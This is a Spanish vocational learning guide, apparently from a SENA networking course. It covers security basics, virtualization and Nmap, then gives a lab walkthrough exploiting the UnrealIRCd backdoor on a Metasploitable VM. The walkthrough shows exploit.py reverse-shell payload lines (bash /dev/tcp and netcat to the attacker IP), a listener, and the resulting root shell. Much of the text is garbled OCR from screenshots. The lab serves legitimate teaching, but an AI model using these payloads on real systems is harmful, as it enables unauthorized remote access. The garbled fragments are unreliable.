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PROCESO DE GESTION DE FORMACION PROFESIONAL INTEGRAL
FORMATO GUIA DE APRENDIZAJE

1. IDENTIFICACION DE LA GUIA DE APRENDIZAJE

e Denominacién del Programa de Formacién: IMPLEMENTACION DE INFRAESTRUCTURA DE
TECNOLOGIAS DE LA INFORMACION Y LAS COMUNICACIONES.

e (Cdbdigo del Programa de Formacion: 228116

e Nombre del Proyecto Formativo: IMPLEMENTACION DE SERVICIOS DE MANTENIMIENTO,

SOPORTE TECNOLOGICO, INFRAESTRUCTURA A LOS CENTROS DE DATOS DE LAS EMPRESAS DE LA
REGION.

e Fase del Proyecto (si aplica): EVALUACION

e Actividad de Proyecto Formativo (si aplica): DEFINIR LOS REQUERIMIENTOS DE
INFRAESTRUCTURA DE RED DE DATOS PARA EL AREA CLOUD COMPUTING DEL CTA

e Competencia:

e IMPLEMENTACION DE LA RED DE DATOS

e Resultados de Aprendizaje:

e VERIFICAR LAS CONDICIONES IMPLEMENTADAS EN LA RED DE DATOS, DE ACUERDO CON
LOS TERMINOS DE REFERENCIA EL DISENO Y BAJO LA NORMATIVIDAD VIGENTE.

e Duracién de la Guia de Aprendizaje (horas): 80 horas

2. PRESENTACION

La ciberseguridad es un campo fundamental en el mundo digital actual, que se ocupa de proteger
sistemas, redes y datos frente a ataques, accesos no autorizados y dafos. A medida que nuestra
dependencia de la tecnologia y la internet crece, también lo hacen las amenazas a nuestra seguridad

digital. Aqui te ofrezco una introduccién a algunos de los conceptos clave en ciberseguridad:
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Confidencialidad, Integridad y Disponibilidad (CIA): Estos son los pilares basicos de la
ciberseguridad. La confidencialidad asegura que solo las personas autorizadas puedan
acceder a la informacion. La integridad garantiza que los datos no se alteren de manera no
autorizada. La disponibilidad se refiere a asegurar que la informacién y los sistemas estén

accesibles cuando se necesiten.
Amenazas y Vulnerabilidades:

o Amenazas: Son posibles causas de unincidente de ciberseguridad que puede resultar
en dafo a los sistemas o datos. Ejemplos incluyen malware, ataques de phishing y

ransomware.

o Vulnerabilidades: Son debilidades en un sistema que pueden ser explotadas por las
amenazas. Estas pueden ser fallos de software, configuraciones incorrectas o

practicas de seguridad deficientes.
Tipos de Ataques:

o Phishing: Técnica en la que un atacante engafia a una persona para que revele

informacidén confidencial, generalmente a través de correos electrénicos falsos.

o Malware: Software malicioso disefiado para dafiar o obtener acceso no autorizado a

sistemas. Ejemplos incluyen virus, troyanos y ransomware.

o DDoS (Distributed Denial of Service): Ataques que buscan saturar un sistema con

trafico para hacerlo inaccesible.
Medidas de Proteccion:

o Firewall: Dispositivo o software que controla el trafico de red entrante y saliente

basado en reglas de seguridad predefinidas.

o Antivirus: Programa disefiado para detectar y eliminar malware.
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o Autenticacion Multifactor (MFA): Método de seguridad que requiere mas de una
forma de verificacién para acceder a sistemas o datos, como una contrasefia y un

codigo enviado al teléfono movil.
5. Gestion de Riesgos:

o Evaluacion de Riesgos: Identificacion y andlisis de los riesgos potenciales que pueden

afectar a la seguridad de los sistemas.

o Plan de Respuesta a Incidentes: Estrategias y procedimientos establecidos para

gestionar y mitigar las consecuencias de un incidente de ciberseguridad.

6. Cumplimiento y Normativas: Existen diversas regulaciones y estdndares que las
organizaciones deben seguir para garantizar la seguridad de sus sistemas y datos, como el

GDPR en Europa, o el CCPA en California, Estados Unidos.
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3. FORMULACION DE LAS ACTIVIDADES DE APRENDIZAJE
e Descripcion de la(s) Actividad(es)

3.1 Actividades de reflexion inicial: Descripcion de la actividad: Realizar los prototipos utilizando las

herramientas informaticas:

- Descargar e instalar VMware

- Instalar Kali Linux

- Instalar Windows 10

- Metasplotable

VMware y VirtualBox son dos de las plataformas mas populares para la virtualizacion de sistemas

operativos. Aqui te explico qué sony las principales diferencias entre ellos:

VMware

VMware es una empresa que ofrece una variedad de productos de virtualizacién, siendo VMware

Workstation y VMware Fusion dos de los mas conocidos para usuarios de escritorio. VMware también

tiene soluciones mds avanzadas como VMware vSphere para entornos empresariales.

e VMware Workstation: Disefiado para Windows y Linux, es una solucidon potente para crear y
gestionar maquinas virtuales. Ideal para desarrolladores y profesionales de TI.

e VMware Fusion: Orientado a usuarios de Mac, permite ejecutar maquinas virtuales en macOS.

Ventajas de VMware:

e Generalmente ofrece un rendimiento superior y una mejor integracién con hardware.

e Soporte técnico robusto y caracteristicas avanzadas, especialmente en versiones de pago.

e Herramientas de gestidn de red y recursos mas avanzadas.

VirtualBox

VirtualBox es una plataforma de virtualizacidn de cddigo abierto desarrollada por Oracle. Es una opcién

gratuita y bastante versatil que funciona en varias plataformas, incluyendo Windows, macQOS, Linux y

otros sistemas operativos.

Ventajas de VirtualBox:

e Gratuito y de cédigo abierto.
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e Buena compatibilidad con una amplia gama de sistemas operativos invitados y anfitriones.
e Extensible mediante una serie de herramientas y extensiones.
Diferencias Principales
1. Costo:
o VMware: Ofrece versiones de pago (como VMware Workstation Pro y VMware Fusion) con
caracteristicas adicionales y soporte técnico.
o VirtualBox: Totalmente gratuito y de cddigo abierto.
2. Rendimiento y Recursos:
o VMware: Suele ofrecer un mejor rendimiento y una integracién mas eficiente con el
hardware debido a sus versiones comerciales.
o VirtualBox: Aunque suficientemente potente para la mayoria de los usos, puede que no
ofrezca el mismo nivel de rendimiento en comparacion con VMware.
3. Interfaz de Usuario:
o VMware: Tiene una interfaz de usuario pulida y profesional, con caracteristicas avanzadas
mas integradas.
o VirtualBox: La interfaz es menos sofisticada pero bastante funcional, y se puede personalizar
con extensiones.
4. Caracteristicas Avanzadas:
o VMware: Ofrece caracteristicas avanzadas como soporte para multiples monitores,
integracién con herramientas de desarrollo y administracién de red avanzada.
o VirtualBox: También tiene caracteristicas avanzadas, pero algunas pueden requerir
configuraciones adicionales o extensiones.
5. Soporte y Actualizaciones:
o VMware: Ofrece soporte técnico profesional y actualizaciones regulares, especialmente en
sus versiones pagas.
o VirtualBox: La comunidad de usuarios proporciona soporte, y las actualizaciones son

gestionadas por Oracle.

Descripcion de la actividad: Instalacidn y configuracién Kalilinux, Metasploitable
Ambiente requerido: Virtual

Estrategias o técnicas didacticas activas: Video
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Materiales de formacion: Sala de computo. MV .ISO

Material de apoyo:

Observa los siguientes videos de INSTALACION KALILINUX.

https://www.youtube.com/watch?v=v5JZ1eRtivg

Instalar Entorno Vulnerable METASPLOITABLE en Virtualbox y VMware #6

https://www.youtube.com/watch?v=1VnhQrjoKLk

Evidencias de aprendizaje: Informe técnico.

- Actividad a desarrollar: Realiza un informe técnico aplicando la norma Appa del paso a paso de la
instalacion de Kalilinux en cualquiera de las dos MV. VirtualBox o VMware, y en el desarrollo de la
actividad explicando el paso a paso de tu exploit hacia una maquina metasploit previamente
configurada.

Instrumentos de evaluacién: Chechlist.

Duracién de la actividad: 10 horas.

Ambiente requerido:

Sala de computo, con internet

3.2 Actividades de contextualizacion e identificacion de conocimientos necesarios para el

aprendizaje:

Nmap, que significa "Network Mapper," es una herramienta de cdédigo abierto utilizada para el
escaneo y analisis de redes. Desarrollada por Gordon Lyon, Nmap se emplea principalmente para
descubrir hosts y servicios en una red de computadoras, lo que ayuda a los administradores a
identificar dispositivos, sistemas operativos, y servicios en ejecucién, asi como a detectar
vulnerabilidades potenciales.

Las funciones principales de Nmap incluyen:

1. Descubrimiento de hosts: Identifica qué dispositivos estan activos en una red.

2. Deteccion de puertos: Muestra qué puertos estan abiertos en los dispositivos
descubiertos.

3. Deteccion de servicios: Identifica los servicios y versiones de software que estan
funcionando en los puertos abiertos.

4. Deteccidn de sistemas operativos: Trata de determinar el sistema operativo que esta
ejecutando el host.

5. Escaneo de vulnerabilidades: En combinacidn con scripts adicionales, puede buscar
vulnerabilidades conocidas en los servicios descubiertos.
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En esta ocasidn vamos primero a encontrar nuestra ip. Para esto desde una terminal aplicamos el
comando ifconfig.

“--P“DV“?‘*' C O 4 A O 1844 | & G

\ — ali@ial: ~
Kali Linux a
File Actions Edit View Help

' 1500

0 carrier ® collisions 0

192.168.186.128

- kali@kali: ~
File Actions Edit View Help

RX packets 40 bytes 2906 (2.8 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 33 bytes 3828 (3.7 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)

TX errors @ dropped @ over s @ carrier @ collisions @

192.168.186.0/24
TCP/IP fingerprinting (for 0S scan) requires root privileges.
QUITTING!

sudc 192.168.186.0/24
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 18:47 -05
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Crearemos un entorno vulnerable METASPLOTABLE.

= Extraer

o
o O

150

Compartir  Vista | Herramientas de carpeta comprimida

0 X

 Cortar

B Abric -

7 Nuevo elementa ~

FH sele

+

W] Copiar ruta de acceso 1 | Facil acceso = Editar Mos
laral  Copiar Pegar Mover Copiar Eliminar Cambiar  Nueva Propiedades
répida #] Pegar acceso directo nombre  carpeta = & Historial 25 Inver
Portapapeles Organizar Nuevo Abrir
« v 4 » Discolocal () > 15O
] Documentos A Nombre Fecha de modificacion  Tipo Tamafio
[ Escriterio [ ~lock.Configuracian_de_servicios_Linui... Archivo PDF2
=] Imagenes [£] CentOS-Stream-§-latest-x86_64-dvd1 Archivo de image...
D Misica Configuracion_de_servicios Linux Documento de W...
B Objetos 30 |&] debian-12.6.0-amdB4-netinst Archivo de image...

|2] elementaryos-7.1-stable.20230926rc

|2] Fedora-Workstation-Live-x86_64-40-1.14
2] kali-linux-2024.2-installer-amd64

12] linuxmint-21.3-cinnamon-64bit

Archive de image...

B Videos
e WINDOWS (C3)
Disco local (D)

Archivo de image...
Archivo de image...

Archive de image..

= Disco local (D7)
Trash-1000
1.0UL

[2] linuxmint-22-cinnamen-64bit
[2] pop-os_22.04 amds4.intel 43
[5] SERVER_EVAL x64FRE_es-es

Archivo de image..
Archivo de image..

Archivo de image..

TG en Implementacion de Infraestructura...
[2] ubuntu-24.04-desktop-amd64

[ VMware-workstation-full-17.5.2-23775571
2] Win11_23H2_Spanish_Mexico_x64v2

4] Windows-10-64bits

[7] Zerin-05-17.1-Core-64-bit-r1

8 metasploitable-linux-2.0.0

Documento de

2024_CENTROTECMOLOGIAS_AGR
2929796 - GESTION DE REDES DE D

Archivo de image...

Aplicacién
anzconda Archivo de image...
CERTIFICACION_PCEP-30-D2-mair
COMPROBANTES

Curso_PCEP02-main

Archive de image..

Archive de image...

Archivo WinRARZ...

844 810 KB

Descomprimimos el archivo.

BO-
inice | Compartir  Vista
Cortar X [} Nueva elemento = Abrir FH seteccionar t
—J « Copiar ruta de 1 ] Facil acceso = Editar Mo seleccion
Andar al Copiar Pegar Copiar  Eliminar Cambiar MNueva Propiedades N N
acceso rapido 7| Pegar a a a nombre  carpeta - @ Historial 5] Invertir selec
Portapapeles Organizar Nuevo Abrir Seleccio
« - 4 » Discolocal ) » 150 > metasploitable-linux-20.0 > Metasploitable2-Linux
] Documentos A Nombre Fechs de modificacion  Tipo Tamafio
I Escriterio [2) Metasploitable 2 VMware Virtual M... 9KB
=] Imagenes & Metasploitable VMware virtual dis...  1.880.512 KB
b Misica [] Metasploitable VMware snapshot ... 0K
J Objetos 30 (1 Metasploitable VMware virtusl m... IKE
[ Metasploitable VMware Team Me... 1KB

B videos
e WINDOWS (C2)
Disco local (D3
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Abrimos desde vware la

I VMware Workstation

mv metasploitable

SENA

File Edit View VM Tabs Help 0EO
i+ Home [T Kalilinux
Create a New Open a Virtual Connect to a
Virtual Machine Machine Remote Server
J VMware Workstation
£ [ Abrir X
1 e « 4[] « metasploita.. > Metasploitable-Linux v|®| [ Buscaren 2
i
Organizar v Nueva carpeta = v I
1.J0L ~ MNembre Fecha de modificacién Tipe
2024_CENTROTE (51 Metasploitable e fON PRO™ 17
2829796 - GESTIC
anaconda
CERTIFICACION_ JZ a
COMPROBANTE
Curso_PCEPD8-r irtual Connect to a
curso24Python ine Remote Server
django_rest
DOCUMENTACIH
ICONTECT
150
rrrrrr v o< >
MNombre de archivo: | Metasploitable v‘ All supported files 22

[

Eile

T Home

Metasploitable2-Linux - YMware Warkstation

Edit

[ kaslilinux

£ Buscar

View VM Tabs

Help [Im ==}

(] Metasploitable2-Linux

Metasploitable2-Linux - Wiiware Workstation =

e This virtual machine might have been moved or copied
In order to configure certain management and

networking features, Viware Workstation nesds to

knaw if this vir tusl machine was moved or copied.

1f you don't know, answer "I Copled 1t”

1 Moved 1t Cancel
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22-Linux

= Starting deferred execution scheduler atd
# Starting periodic command scheduler crond
= Starting Tomcat servlet engine tomcat5.5
= Starting web server apache2
* RBunning local boot scripts (rsetcsrc.local)
nohup: appending output to ‘nohup.out’
nohup: appending output to “nohup.out’

Warning: Never expose this UM to an untrusted wnetwork?
Contact: msfdevlatlmetasploit.con

Login with msfadnin/msfadmnin to get started

metasploitable login:

Tecleamos msfadmin.

Evidencia de producto: Realiza el informe técnico con el paso a paso de instalacidon y configuracion
de los sistemas kalilinux y metasploit utiliando cualquiera de las MV. Virtualbox o VWMare.

3.3 Actividades de apropiacion:

Ahora realizaremos la explotacidn a la vulnerabilidad detectada en nuestra maquina metasplotaible.
Para ello arrancaremos las dos MV Kalilinux y Metasplotable.
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5]  Kalilinux - VMware Workstation

File Edit View VM Tabs Help il - == D o) OB O

Home

Actions Edit View Help

eth®: flags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500

File System inet 192.168.186.128 netmask 255 55.255.0 broadcast 192.168.186.25
inet6 fe80::20c 9ff:fec5:2ea0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:c5:2e:a0@ txqueuelen 1000 (Ethernet)
RX packets 214 bytes 25736 (25.1 KiB)
“ RX errors @ dropped @ overruns @ frame @

TX packets 56 bytes 12528 (12.2 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid ©@x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

B Kalilinux - VMware Workstation

Fle Edit View VM Tbs Hep | || ~ & O 2 DBO0ON

7 Home [ Kalilinux [ Metasploitable2-Linux

B omP o]

F Kali@kali: ~

File Actions Edit View Help

2 168.186.129
PING 192.168.186.129 (192.168.186.129) 56(84) bytes of data.
— 64 bytes from 192.168.186.129: icmp_seq=1 ttl=64 tim .553 ms
File System
— 192.168.186.129 ping statistics
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/md 0.553/0.553/0.553/0.000 ms

" s

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

30
O Buscar 23°C Mayorm. nubla. Y| 7z Q) ESP 10/09/2024
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G Kalilinux - VMware Workstation

File Edit View VM Tbs Help | || ~ | & | O 2 0B g | Bk

7 Home [ Kalilinux [ Metasploitable2-Linux

Kali Lin kali@kaliz ~
File Actions Edit View Help
1 192.168.186.129

PING 192.168.186.129 (192.168.186.129) 56(84) bytes of data.
64 bytes from 192.168.186.129: icmp_seq=1 ttl=64 time=0.553 ms

File System
— 192.168.186.129 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0.553/0.553/0.553/0.000 ms

192.168.186.129 escaneof]

To direct input to this VM, move the mouse pointer inside or press Ctrl+G

£ Buscar ESP

58 p.m
10/09/2024

B Kalilinux - VMware Workstation

Fle Edit View VM Tabs Hep [l -~ & | D

Home [ Kalilinux [ Metasploitable2-Linux
B emkar-|
() GitHub - davisonio/awes

“~ C o ™ A 2 rame brmmelat
i kali@kali

Kalilinux g8 KaliTools ko actions Edit View Help

Go S|CRICT ISl \nap done: 1 1P address (1 host up) scanned in @.15 Traduccién ~

Canales

Canales IRC.
por
. Host is up (@
Descubrir not shoun:
PORT
21/tcp open ftp
| _ftp-anon: Anonymous FTP login a
| ftp-syst:
STAT:
FTP ser

ession bandwidth limit
ion timeout in

|
I
|
Plataform I‘
|
|
|
I

Redes

£ Buscar
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B Kalilinux - VMware Workstation

Fle Edit View VM Tebs Hep ] -~ | & o

A1 Home [ Kalilinux [ Metasploitable2-Linux
S oEpkor- 2 3 O 4 A 016 | &

td | () GitHub - davisonio/awes

2 c @ = e T B

= kali@kal

KaliLinux @ KaliTools o pctions Edit View Help
ompression

Status: Autocemmi Traduccién -
Salt: ACkquwug’

lubuntu4))

rt: S tuse in/or, ticnNa
Canales : h : =
Canales IRC.
Descubrir

ess denied)

unrealIRCd

Metasploitable.LAN

2 Buscar

NOTA para encontrar exploit posibles a una vulnerabilidad kalilinux trae una herramienta que
sellama: searchsploit [UnreallRCd].

B Kalilinux - VMware Workstation

File Edt View VM Tabs Hep | ] - | @ @ ol 0E3 N

7+ Home [¥ Kalilinuwe [ Metasploitable2-Linux
Sempor
td | () GitHub - davisonio/awes

= c 0 itk reme drmmel
1 kali@ka
KaliLinux @ KaliTeels g pctions Edit View Help
Get:9 http 1i.download/kali kali-rolling/non-free-firmware amd64 Contents ) L,
Google Traductor JEESEELRNT)] Traduccion -
Fetched 68.7 MB in 1min 6s (1036 kB/s)
949 packages can be upgraded. Run 'apt list --upgradable' to see them.

Canales

e " not found, did
Canales IRC. and ' hsploit' from deb

Descubrir

remote/169
windows/dos/18011.

Plataform e windows /dos

2 Buscar

GFPI-F-135 V04



B Kalilinux - VMware Workstation

Fle Edit View WM Tebs Help | || - | & | D o OEn

7y Home [ Kalilinux [ Metasploitable2-Linux
Hemporl-

@ github UnreallRCd how t

O 4 A& 01 a ¢

" Screenshot taken
C @ ! e. github+++Unre ++h 1 t

Kali Linux g KaliTools ¢ KaliDocs & Kali Forums e\ Kali NetHunter Exploi Google Hacking DB OffSec

GOOgIe github UnreallRCd how to

magenes

GitHub
hi i

results in English?

- GitHub
nreallRCd-

GitHub
hitps://githu

P Buscar

433p. m.
¥ / W ESP

20°C Mayorm. nubla... D) 10/00/2024 ]
B Kalilinux - VMware Workstation

Fle Edit View VM Tebs Help | || - | S | @ o 0OE 0

Lei]

7y Home [ Kalilinux [ Metasploitable2-Linux
Heompor]-
) GitHub - Ranger11Dang
Cc @ or

Kali Linux g KaliTools ¢ KaliDocs & Kali Forums e\ Kali NetHunter Exploi Google Hacking DB OffSec

O Product ~ Solutions ¥ Resources ¥ Open Source ¥ Enterprise ¥  Pricing Search or jump t

#¥ master ~ # 1 Branc About

(3 Clone My backdoor script for a vulnerable
g e version of UnreallRCd

HTTPS  GitHub CLI
[ gitatiributes

— ht thub. com/Ran
[0 README.md J : Rl

[ exploitpy ploit.p

ntact/report-content?content_url=https://github.com/Ranger11Danger/Unreall

P Buscar

E ; 7 £34p.m.
20°C Mayorm. nubla... - qu EsP 10/09/2024 1
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B Kalilinu - VMware Workstation
File Edit View VM Tobs Help | || ~ | & O R i |

¢ Home [ Kalilinux [ Metasploitable2-Linux
BemPor-

# ) GitHub - Ranger11Dangs
& C @
] kali@kali: ~/Desktop

Kalilinux @ KaliTools  ga actions Edit View Help

O Product ¥ So Search or jump

Shellcodes: No Results
¥ master - About
My backdoar script for a vulnerable

@ Rangeri1Dal version of UnreallRCd

.gitatiributes.
nrealIR(

README.md Desktop

~[~/Desktop
clone https: ithub.com/RangerilDanger/UnrealIRC

A Buscar

B Kalilinu - VMware Workstation
File Edit View VM Tobs Help | || ~ | & O R i |

¢ Home [ Kalilinux [ Metasploitable2-Linux
BemPor-

# ) GitHub - Ranger11Dangs

&« @ @ ™ mithiik
] kali@kali: ~/Desktop/UnreallRCd-3.2.8.1-Backdoor

Kalilinux @ KaliTools  ga actions Edit View Help

O Product ¥ So Search or jump

Desktop

-[~/Desktop
1-Backdoor.g

Enumerating obj s: 19, done.
About

P master - r Total 19 (delta 0), reused 0 (delt (from 1)
, 4.19 KiB
My backdoar script for a vulnerable
) RangertiDa ~[~/Desktop] version of UnreallRCd

.gitatirib
lesicr nrealIR(
README.md UnrealIRCd-3.2.8.1-Backdoor

~[~/Desktop/UnrealIRCd-3.2.8.1-Backdoor]

P Buscar Mayorm. nubla

Asignamos los permisos del exploit
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[B Kaliinux - VMware Workstation -0 x

File Edit View VM Tbs Hep | || ~ & | @ 2 0B o |k

7\ Home [ Kalilinux [ Metasploitable2-Linux

O 4 A Q1142 | & G

C @ i ] e P S o A o oy S By e A e
E kali@kali: ~/Desktop/UnrealIRCd-3.2.8.1-Backdoor

Kalilinux g KaliTools  gyo  actions Edit View Help

~/Desktop
KALI clone https://github.com/RangerliDanger/UnrealIRCd-3.2.8.1-Backdoor.g )MMUNITY v COURSES v  DEVELOPERS v  ABOUT v
| I it
Cloning into 'UnreallIRCd-3.
remote: Enumerating objects: 19, don
remote: Total 19 (delta @), reused 0 (delta 0), pack-reused 19 (from 1)
Receiving objects: 100% (19/19), 4.19 KiB | 612.00 KiB/s, done
Resolving deltas: 100% (6/6), done.

~/Desktop

~/Desktop
UnrealIRCd-3.2.8.1-Backdoor
~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
README.md exploit.py

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
+x exploit.py

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
exploit.pyfl

442p

£ Buscar g 20°C Mayorm. nubl @ V) EP L nor0a

Consulto mi ip de mi maquina kalilinux.

[[B Kaliinu - VMware Workstation o x

File Edit View VM Tabs Hep | || ~ & @ 2 0B o |k

7\ Home [ Kalilinux (52 Metasploitable2-Linux

A=k O 4d A O @ G
® | KaliLinux

O @ £ I -~ nat dnfmidbr haink Ik
) kali@kali: ~

Kalilinux g KaliTools  gye  actions Edit View Help

| KALI I TYv COURSESv DEVELOPERSv  ABOUT v

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet JEPRSGEPSELPIPE] netmask 255.255.255.0 broadcast 192.168.186.25
5

inet6 feso ec5:2ead prefixlen 64 scopeid 0x20<link>

ether 00 :c5:2e:a0 txqueuelen 1000 (Ethernet)

RX packets 129350 bytes 87903741 (83.8 MiB)

RX errors @ dropped @ o ins @ frame 0

TX packets 84398 bytes 5864899 (5.5 MiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 6553
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 1 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 88 bytes 6960 (6.7 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets bytes 6960 (6.7 KiB)
TX errors @ dropped 0 overruns @ carrier @ collisions @

To direct input to this VM, move the mouse pointer inside or press Ctrl+G

o Lip
O Buscar \l& 25°C Parc.soleado A q) ESP 10/09/2024

La copio y la pego en mi archivo exploit.py

GFPI-F-135 V04
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Abrimos el archivo nano exploit.py

[B Kaliinux - VMware Workstation Bl o x
File Edit View VM Tabs Help || ~ &= | O S| OB O | B

O 4 A O 1148 | & G
®  KaliLinux
c @ AP S e e
E kali@kali: ~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
File Actions Edit View Help

GNU nano 8.0 exploi
| KALI I IMMUNITY v COURSES v  DEVELOPERS v ABOUT v

argparse
socket
base64

Kali Linux g8 Kali Tools

rse.ArgumentParser()
add_argument(ip
r.add_argument('p & e 2t port’', type=int)
add_argument( '~ set payload type', require , choifj
pars.

local_ip -
Tloca

python_payload C import os;import pty;import socket;tLnCwQLCel
bash_payload = f'bas! /dev/tcp/{local_ip}/{local_port} 0>51
netcat_payl /bin/bash {local_ip} {local_port}'

RE Help Rg write out [§ where Is R cut W Execute
B Exit M Read File B Replace iy Paste BB Justify
To direct input to this VM, move the mouse pointer inside or press Ctrl+G,

£ Buscar =2 Pronéstico de vientos

10/09/2024
Ctr + o guardar cambios

Ctr + x salir.

[@  Kalilinux - VMware Workstation - o x
fle Edt View WM Tbs Hep | || - | @ O 2 0B g1 KM

7 Home [ Kalilinux
NeomP o O 4 A QTN | & G
® | KaliLinux

C @ ™ Eladilmrleharall Anfaulbehuinhlhaman~nn kil
E kali@kali: ~/Desktop/UnrealIRCd-3.2.8.1-Backdoor

Kalilinux § KaliTools ko Actions Edit View Help

| KALI I B IMMUNITY v COURSES v DEVELOPERS v  ABOUT v

Desktop

~/Desktop

~/Desktop
UnrealIRCd-3.2.8.1-Backdoor
~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
README.md exploit.py exploit.py.save

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
exploit.py

-[~/Desktop/UnrealIRCd-3.2.8.1-Backdoor

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

o Z 30 p. m.
H £ Buscar d 230 e sclealo RS D EP /0972008

GFPI-F-135 V04
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Colocamos puerto en escucha

[@  Kalilinux - VMware Workstation - o x

File Edit View VM Tebs Hep || - & | O oI o R R

7 Home [ Kalilinux [} Metasploitable2-Linux
B emP o 4 O A Qss| @

®  KaliLinux

C @

Kalilinux @ KaliTools  pye  actions Edit View Help

IMMUNITY v COURSES v DEVELOPERS v ABOUT v

To direct input to this VM, move the mouse pointer inside or press Ctr

L Buscar 5°C Parc.soleado A Q) ESP

(SR ﬂi’ 10/09/2024

[@  Kalilinux - VMware Workstation - o x

File Edit View VM Tebs Hep || - & | O oI o R R Y

7 Home [ Kalilinux [} Metasploitable2-Linux
S omPor|: 4 oW A ONS|a G

®  KaliLinux

C @

KaliLinux g8 KaliTools  re ctions Edit View Help

K 3 "“‘A IMMUNITY v COURSES v DEVELOPERS v ABOUT v
[sudo] password for kali:
listening on [any] 443

To direct input to this VM, move the mouse pointer inside or press Ctr

0 B \B' 5°C Parc.soleado A D) B

Ahora lanzamos nuestro ataque.

GFPI-F-135 V04



B Kaliinu - VMware Workstation

Fle Edt View VM Tabs Help | || ~ | &

7 Home [ Kalilinux [ Metasploitable2-Linux

®  KaliLinux

C ﬁh — 1 1 brhainh kA

root@kali: /home/kali/Desktop/UnreallIRCd-3.2.8.1-Backdoor

Kalilinux g KaliTools ko Actions Edit View Help

| KALI |

escaneo
escaneo. txt
Desktop

~/Desktop

~/Desktop
UnrealIRCd-3.2.8.1-Backdoor

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor

README.md  exploit.py

loit.py

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
exploit.py

~/Desktop/UnrealIRCd-3.2.8.1-Backdoor
[sudgjrpasswcrd for kali:
/home/kali/Desktop/UnrealIRCd-3.2.8.1-Backdoor
192.168.186.129 6667
To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Buscar

IMMUNITY v

O 4 A Q15 | & G

COURSES v DEVELOPERS v ABOUT v

5 m
5°C Parc.soleado A NS s ]

B Kaliinu - VMware Workstation

File Edit View VM Tabs Hep | || ~ & O o

7 Home [ Kalilinux [ Metasploitable2-Linux

®  KaliLinux

(5] nh _ 1 Alloali An s

lali@kali: ~

Kalilinux g KaliTools ko Actions Edit View Help

| KALI | e

[sudo]rpassword for kali:
listening on [ai 443
connect to [192.168.186.128] from (UNKNOWN) [192.168.186.129]

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

£ Buscar

ya estamos dentro de nuestra maquina victima.

GFPI-F-135 V04

IMMUNITY v

O 4 A © 1156 | &

COURSES v DEVELOPERS v ABOUT v

5°C Parc.soleado A~ ) ESP

m,
10/09/2024 ™
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B Kaliinux - VMware Workstation
Fle Edt Ve VM Tbs Hep | ||~ & | © L2 OB ON B

7 Home [ Kalilinux [ Metasploitable2-Linux
B emPor-

®  KaliLinux

c @ r It harnhlhAr
] lali@kali: ~

Kalilinux @ KaliTools  gye actions Edit View Help

KALI [ 1 fu,;, IMMUNITY v

[sudo] password for kali:
listening on [any] 443
connect to [192.168.186.128] from (UNKNOWN) [192.168.186.129]
ls

Donation

LICENSE

aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf

doc

help.conf

ircd.log

ired.pid

ircd. tune

modules

networks
spamfilter.conf

tmp

£ Buscar

COURSES v

o ¢

A © 157

DEVELOPERS v ABOUT v

a c

B Kaliinux - VMware Workstation
Fle Edt Ve VM Tbs Hep | ||~ & | © L2 OB ON B

7\ Home [ Kalilinux [ Metasploitable2-Linux

®  KaliLinux

C @ ™ Eladllievleharallbali Aafaultchunhlhamananna himal
- lali@kali: ~

File Actions Edit View Help

w3m
| KALI | ::;:z&pphcsnt g L

xinetd.conf

xinetd.d
zsh_command_not_found
pud

/etc

Kali Linux £ Kali Tools

cd /home
ls
ftp
msfadmin
service

6 root root 4096 Apr 2010
root root 4096 May 2012
root nogroup 4096 Mar 17 2010 ftp
msfadmin msfadmin 4096 May 2012 msfadmin
service service 4096 Apr 2010 service
X user user 4096 May 2010 user
cd msfadmin
ls
vulnerable

To direct input to this VM, click inside or press Ctrl+G.

o~ =

GFPI-F-135 V04

COURSES v

25°C Parc. soleado
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DEVELOPERS v
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(Bl Metasploitable2-Linu - UMware Workstation E—
File Edit YView VM Tebs Help =Rt L | I w5 -
¢ Home [ Kaliinux [ Metasploitable2-Linux

Link encap:Ethernet HUWaddr 00:0c:29:39:81:8d

inet addr:192.168.186.129 Bcast:192.168.186.255 Mask:255.255.255.0
inetb addr: feBO 0c:29ff :fe39:8184-64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:80 errors:0 dropped:0 overruns:0 frane:0

TX packets:67 errors:0 dropped:0 overruns:0 carrier:0

